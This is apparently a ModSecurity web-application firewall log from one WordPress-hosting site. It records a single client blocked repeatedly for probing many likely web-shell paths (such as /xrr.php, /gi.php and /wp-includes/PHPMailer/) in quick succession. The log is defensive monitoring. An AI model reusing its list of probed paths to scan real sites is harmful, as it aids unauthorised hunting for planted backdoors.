[Thu Jan 08 01:08:53.668629 2026] [:error] [pid 58294:tid 58306] [client 4.189.122.79:3276] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0x0x.php"] [unique_id "aV6TJVfzA7c0ITpf3nFbtgAAAIo"]
[Thu Jan 08 01:08:53.897657 2026] [:error] [pid 50838:tid 50855] [client 4.189.122.79:3490] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0x0x.php"] [unique_id "aV6TJbSweZ27JIN4H8vt2gAAAc8"]
[Thu Jan 08 01:08:54.153148 2026] [:error] [pid 58294:tid 58307] [client 4.189.122.79:3512] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0x0x.php"] [unique_id "aV6TJlfzA7c0ITpf3nFbuQAAAIs"]
[Thu Jan 08 01:08:54.380247 2026] [:error] [pid 50936:tid 50939] [client 4.189.122.79:3345] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xrr.php"] [unique_id "aV6TJrDlg80QUdd5qc40cQAAAoE"]
[Thu Jan 08 01:08:54.619983 2026] [:error] [pid 50936:tid 50940] [client 4.189.122.79:3499] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xrr.php"] [unique_id "aV6TJrDlg80QUdd5qc40cgAAAoI"]
[Thu Jan 08 01:08:54.851996 2026] [:error] [pid 58330:tid 58343] [client 4.189.122.79:3639] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xrr.php"] [unique_id "aV6TJg8kGngKGK7_wncytgAAAQs"]
[Thu Jan 08 01:08:55.085003 2026] [:error] [pid 30634:tid 30703] [client 4.189.122.79:3333] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xrr.php"] [unique_id "aV6TJ4CIPBibObtmZtswZQAAAM0"]
[Thu Jan 08 01:08:55.311686 2026] [:error] [pid 50838:tid 50859] [client 4.189.122.79:3622] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xtt.php"] [unique_id "aV6TJ7SweZ27JIN4H8vt3AAAAdM"]
[Thu Jan 08 01:08:55.541038 2026] [:error] [pid 50870:tid 50889] [client 4.189.122.79:3594] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xtt.php"] [unique_id "aV6TJxlePfspAt1BzouX5gAAAhE"]
[Thu Jan 08 01:08:55.772611 2026] [:error] [pid 50905:tid 50921] [client 4.189.122.79:3507] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xtt.php"] [unique_id "aV6TJ2pNgk5-gt30I7bGdQAAAk4"]
[Thu Jan 08 01:08:56.032598 2026] [:error] [pid 50905:tid 50925] [client 4.189.122.79:3513] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xtt.php"] [unique_id "aV6TKGpNgk5-gt30I7bGdwAAAlI"]
[Thu Jan 08 01:08:56.278432 2026] [:error] [pid 50870:tid 50874] [client 4.189.122.79:3387] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gi.php"] [unique_id "aV6TKBlePfspAt1BzouX6AAAAgI"]
[Thu Jan 08 01:08:56.509314 2026] [:error] [pid 50838:tid 50843] [client 4.189.122.79:3170] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gi.php"] [unique_id "aV6TKLSweZ27JIN4H8vt3gAAAcM"]
[Thu Jan 08 01:08:56.735678 2026] [:error] [pid 50838:tid 50861] [client 4.189.122.79:3515] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gi.php"] [unique_id "aV6TKLSweZ27JIN4H8vt3wAAAdU"]
[Thu Jan 08 01:08:56.964033 2026] [:error] [pid 50936:tid 50954] [client 4.189.122.79:3327] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gi.php"] [unique_id "aV6TKLDlg80QUdd5qc40cwAAApA"]
[Thu Jan 08 01:08:57.192037 2026] [:error] [pid 50936:tid 50945] [client 4.189.122.79:3511] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nov.php"] [unique_id "aV6TKbDlg80QUdd5qc40dAAAAoc"]
[Thu Jan 08 01:08:57.426300 2026] [:error] [pid 50905:tid 50931] [client 4.189.122.79:3311] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nov.php"] [unique_id "aV6TKWpNgk5-gt30I7bGeAAAAlg"]
[Thu Jan 08 01:08:57.653907 2026] [:error] [pid 50838:tid 50844] [client 4.189.122.79:3365] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nov.php"] [unique_id "aV6TKbSweZ27JIN4H8vt4AAAAcQ"]
[Thu Jan 08 01:08:57.891469 2026] [:error] [pid 50838:tid 50842] [client 4.189.122.79:3469] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nov.php"] [unique_id "aV6TKbSweZ27JIN4H8vt4QAAAcI"]
[Thu Jan 08 01:08:58.118986 2026] [:error] [pid 50905:tid 50909] [client 4.189.122.79:3285] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xo.php"] [unique_id "aV6TKmpNgk5-gt30I7bGeQAAAkI"]
[Thu Jan 08 01:08:58.345883 2026] [:error] [pid 50936:tid 50941] [client 4.189.122.79:3488] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xo.php"] [unique_id "aV6TKrDlg80QUdd5qc40dgAAAoM"]
[Thu Jan 08 01:08:58.574373 2026] [:error] [pid 58330:tid 58345] [client 4.189.122.79:3364] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xo.php"] [unique_id "aV6TKg8kGngKGK7_wncywwAAAQ0"]
[Thu Jan 08 01:08:58.802692 2026] [:error] [pid 50905:tid 50916] [client 4.189.122.79:3279] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xo.php"] [unique_id "aV6TKmpNgk5-gt30I7bGewAAAkk"]
[Thu Jan 08 01:08:59.031575 2026] [:error] [pid 50936:tid 50947] [client 4.189.122.79:3338] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new4.php"] [unique_id "aV6TK7Dlg80QUdd5qc40dwAAAok"]
[Thu Jan 08 01:08:59.262215 2026] [:error] [pid 50870:tid 50894] [client 4.189.122.79:3275] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new4.php"] [unique_id "aV6TKxlePfspAt1BzouX6gAAAhY"]
[Thu Jan 08 01:08:59.492637 2026] [:error] [pid 50905:tid 50917] [client 4.189.122.79:3290] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new4.php"] [unique_id "aV6TK2pNgk5-gt30I7bGfAAAAko"]
[Thu Jan 08 01:08:59.719613 2026] [:error] [pid 50838:tid 50850] [client 4.189.122.79:3503] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new4.php"] [unique_id "aV6TK7SweZ27JIN4H8vt5QAAAco"]
[Thu Jan 08 01:08:59.962747 2026] [:error] [pid 58294:tid 58311] [client 4.189.122.79:3297] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/des.php"] [unique_id "aV6TK1fzA7c0ITpf3nFbvAAAAI8"]
[Thu Jan 08 01:09:00.204307 2026] [:error] [pid 50905:tid 50929] [client 4.189.122.79:3480] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/des.php"] [unique_id "aV6TLGpNgk5-gt30I7bGfQAAAlY"]
[Thu Jan 08 01:09:00.434363 2026] [:error] [pid 50905:tid 50923] [client 4.189.122.79:3336] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/des.php"] [unique_id "aV6TLGpNgk5-gt30I7bGfwAAAlA"]
[Thu Jan 08 01:09:00.660690 2026] [:error] [pid 50936:tid 50955] [client 4.189.122.79:3388] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/des.php"] [unique_id "aV6TLLDlg80QUdd5qc40egAAApE"]
[Thu Jan 08 01:09:00.891129 2026] [:error] [pid 30632:tid 30647] [client 4.189.122.79:3501] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ext.php"] [unique_id "aV6TLOd3_LCpBJzo02c6aQAAAAs"]
[Thu Jan 08 01:09:01.123905 2026] [:error] [pid 50870:tid 50882] [client 4.189.122.79:3647] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ext.php"] [unique_id "aV6TLRlePfspAt1BzouX7AAAAgo"]
[Thu Jan 08 01:09:01.355739 2026] [:error] [pid 30632:tid 30653] [client 4.189.122.79:3268] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ext.php"] [unique_id "aV6TLed3_LCpBJzo02c6agAAABE"]
[Thu Jan 08 01:09:01.582831 2026] [:error] [pid 50905:tid 50911] [client 4.189.122.79:3478] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ext.php"] [unique_id "aV6TLWpNgk5-gt30I7bGgAAAAkQ"]
[Thu Jan 08 01:09:01.808396 2026] [:error] [pid 50870:tid 50872] [client 4.189.122.79:3631] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/cache/"] [unique_id "aV6TLRlePfspAt1BzouX7QAAAgA"]
[Thu Jan 08 01:09:02.034900 2026] [:error] [pid 50905:tid 50918] [client 4.189.122.79:3479] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/cache/"] [unique_id "aV6TLmpNgk5-gt30I7bGggAAAks"]
[Thu Jan 08 01:09:02.261799 2026] [:error] [pid 50905:tid 50913] [client 4.189.122.79:3294] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/cache/"] [unique_id "aV6TLmpNgk5-gt30I7bGgwAAAkY"]
[Thu Jan 08 01:09:02.499664 2026] [:error] [pid 50905:tid 50915] [client 4.189.122.79:3517] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/cache/"] [unique_id "aV6TLmpNgk5-gt30I7bGhQAAAkg"]
[Thu Jan 08 01:09:02.726611 2026] [:error] [pid 58294:tid 58317] [client 4.189.122.79:3344] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-knownold/"] [unique_id "aV6TLlfzA7c0ITpf3nFbvQAAAJU"]
[Thu Jan 08 01:09:02.952232 2026] [:error] [pid 50870:tid 50886] [client 4.189.122.79:4024] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-knownold/"] [unique_id "aV6TLhlePfspAt1BzouX7wAAAg4"]
[Thu Jan 08 01:09:03.178623 2026] [:error] [pid 58294:tid 58297] [client 4.189.122.79:3300] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-knownold/"] [unique_id "aV6TL1fzA7c0ITpf3nFbvwAAAIE"]
[Thu Jan 08 01:09:03.405629 2026] [:error] [pid 58294:tid 58312] [client 4.189.122.79:3197] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-knownold/"] [unique_id "aV6TL1fzA7c0ITpf3nFbwQAAAJA"]
[Thu Jan 08 01:09:03.632188 2026] [:error] [pid 50870:tid 50895] [client 4.189.122.79:3358] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/"] [unique_id "aV6TLxlePfspAt1BzouX8AAAAhc"]
[Thu Jan 08 01:09:03.879593 2026] [:error] [pid 58294:tid 58308] [client 4.189.122.79:3275] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/"] [unique_id "aV6TL1fzA7c0ITpf3nFbxQAAAIw"]
[Thu Jan 08 01:09:04.111761 2026] [:error] [pid 58330:tid 58346] [client 4.189.122.79:3298] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/"] [unique_id "aV6TMA8kGngKGK7_wncyzwAAAQ4"]
[Thu Jan 08 01:09:04.349528 2026] [:error] [pid 50905:tid 50914] [client 4.189.122.79:3320] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/"] [unique_id "aV6TMGpNgk5-gt30I7bGiAAAAkc"]
[Thu Jan 08 01:09:04.578662 2026] [:error] [pid 58294:tid 58307] [client 4.189.122.79:3461] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/code/"] [unique_id "aV6TMFfzA7c0ITpf3nFbyAAAAIs"]
[Thu Jan 08 01:09:04.804251 2026] [:error] [pid 58294:tid 58305] [client 4.189.122.79:3316] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/code/"] [unique_id "aV6TMFfzA7c0ITpf3nFbyQAAAIk"]
[Thu Jan 08 01:09:05.031417 2026] [:error] [pid 50905:tid 50925] [client 4.189.122.79:3264] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/code/"] [unique_id "aV6TMWpNgk5-gt30I7bGigAAAlI"]
[Thu Jan 08 01:09:05.258619 2026] [:error] [pid 58294:tid 58311] [client 4.189.122.79:3369] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/code/"] [unique_id "aV6TMVfzA7c0ITpf3nFbzQAAAI8"]
[Thu Jan 08 01:09:05.485752 2026] [:error] [pid 50870:tid 50878] [client 4.189.122.79:3282] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/crop/"] [unique_id "aV6TMRlePfspAt1BzouX8QAAAgY"]
[Thu Jan 08 01:09:05.712951 2026] [:error] [pid 50870:tid 50896] [client 4.189.122.79:3314] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/crop/"] [unique_id "aV6TMRlePfspAt1BzouX8gAAAhg"]
[Thu Jan 08 01:09:05.940252 2026] [:error] [pid 30632:tid 30658] [client 4.189.122.79:3494] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/crop/"] [unique_id "aV6TMed3_LCpBJzo02c6bAAAABY"]
[Thu Jan 08 01:09:06.172437 2026] [:error] [pid 58294:tid 58296] [client 4.189.122.79:3131] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/crop/"] [unique_id "aV6TMlfzA7c0ITpf3nFb0wAAAIA"]
